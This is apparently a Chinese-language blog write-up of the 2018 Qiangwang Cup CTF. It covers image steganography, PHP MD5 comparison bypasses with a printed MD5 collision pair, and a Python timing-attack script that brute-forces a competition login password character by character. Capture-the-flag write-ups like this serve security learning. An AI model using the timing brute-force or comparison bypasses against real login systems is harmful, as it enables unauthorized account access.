【打醬油】2018強網杯個人小結

weixin_33728268發表於2018-04-05

2018強網杯已經過去很久了
剛好再整理一下通過這次比賽的一些個人收穫
最後感慨,自己實在太渣,要保持勤奮不斷前進

8140912-15b7987640550b13.png
image.png

0x01 welcome

一道簡單的misc,給出了一張圖片,直接拖到Stegsolve處理

8140912-2d3929fe89050c75.png
image.png

在offset為80和100的時候可以看到flag


8140912-0a65c49ae206e015.png
image.png
8140912-6c359a914c1842c7.png
image.png

0x02 Web簽到

這題考察PHP的MD5繞過,總共有三關

其中第一關是0e弱型別比較

第二關是陣列繞過MD5比較

第三關無法繞過,只能找到真正的MD5碰撞

關於MD5碰撞,已經有現成的成果可以使用,曾經王曉雲教授提出過成果

這裡使用的碰撞對是

0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef

0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef

還可以使用碰撞對

8140912-c2da3ca42e91ffdf.png
image.png

在hackbar中通過自帶的hex轉char功能進行轉換,最後post通過

8140912-ef157d67d38f9d28.png
image.png
8140912-fda5a39dc43b3a88.png
image.png

0x03 3pigs

8140912-5f35a17f0da0642e.png
image.png

這題一直沒有被人拿下,是web+pwn的題目

充滿好奇去嘗試了下,雖然沒有結果,但是過程還是記錄一下

訪問題目連結後是一個登入介面,嘗試sql注入等,並沒有漏洞點

檢視原始碼發現註釋中提示timing attack,既時序攻擊,於是寫程式碼進行爆破

時序攻擊的介紹可以參考

https://www.zhihu.com/question/20156213

大致就是服務端對錯誤密碼處理的響應時間有細微差異,假如逐位進行密碼驗證,則連續位數正確越多的密碼,伺服器返回時間越長

這裡給出手動爆破的python指令碼

#coding:utf-8

import requests

url="http://39.107.33.62:31927/login.php"

post={

"team":"icq15f6add5d952d9d8efac6c045970a",

"username":"admin",

"password":""

}

maxtime=0

char=""

for i in range(34,127):

avgtime=0

c = chr(i)

#這裡進行諸位手動爆破

post["password"]="I10ve3P|g"+c+"*"*0

# I10ve3P|g~

response = requests.post(url, data=post)

avgtime = response.elapsed.microseconds

if avgtime > maxtime:

maxtime=avgtime

char = c

print(post["password"]+":"+str(avgtime)+" "+response.text)

if "Failed" not in response.text:

print("success!!")

f=open("success.txt","a")

f.write(post["password"])

f.close()

print(char)

最後得到登入密碼是

I10ve3P|g~

登入後進入新的頁面


8140912-9bcea4529f5c8492.png
image.png
8140912-88015486fec286c9.png
image.png

和這幾隻豬死磕了很久都沒有思路,最後GG

相關文章